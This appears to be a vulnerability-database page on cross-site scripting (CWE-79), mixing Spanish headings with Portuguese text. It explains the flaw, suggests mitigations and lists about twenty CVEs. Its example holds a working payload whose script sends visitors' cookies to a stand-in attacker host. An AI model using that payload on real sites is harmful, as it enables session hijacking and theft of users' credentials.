Fallos del tipo CWE-79

29.155 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-0262LOWOnline Job Portal Create News Page News.php cross site scriptingEPSS 0.5%CVE-2021-36827MEDIUMWordPress Ninja Forms Contact Form plugin <= 3.6.9 - Authenticated Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.5%CVE-2026-42548HIGHFlight: Reflected XSS via unvalidated JSONP callback in Flight::jsonp()EPSS 0.5%CVE-2023-22468HIGHDiscourse vulnerable to Cross-site Scripting in local oneboxesEPSS 0.5%CVE-2024-3473MEDIUMHeader Footer Code Manager Pro <= 1.0.16 - Reflected Cross-Site Scripting via messageEPSS 0.5%CVE-2021-24570—Paypal Donation < 1.3.1 - CSRF to Stored Cross-Site ScriptingEPSS 0.5%CVE-2024-31401CRITICALCross-site scripting vulnerability in Cybozu Garoon 5.0.0 to 5.15.2 allows a remote authenticated attacker with an administrative privilege EPSS 0.5%CVE-2021-31832MEDIUMCross site scripting vulnerability in DLP Endpoint for WindowsEPSS 0.5%CVE-2024-20778MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2024-26122MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2024-20780MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2024-20779MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2024-26087MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2024-54951MEDIUMMonica 4.1.2 is vulnerable to Cross Site Scripting (XSS). A malicious user can create a malformed contact and use that contact in the "HOW YEPSS 0.5%CVE-2021-23284MEDIUMSecurity issues in Eaton Intelligent Power Manager InfrastructureEPSS 0.5%CVE-2023-5666MEDIUMAccordion <= 2.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.5%CVE-2023-5308MEDIUMPodcast Subscribe Buttons <= 1.4.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.5%CVE-2024-33526HIGHA Stored Cross-site Scripting (XSS) vulnerability in the "Import of user role and title of user role" feature in ILIAS 7 before 7.30 and ILIEPSS 0.5%CVE-2023-2102MEDIUMCross-site Scripting (XSS) - Stored in alextselegidis/easyappointmentsEPSS 0.5%CVE-2024-26046MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%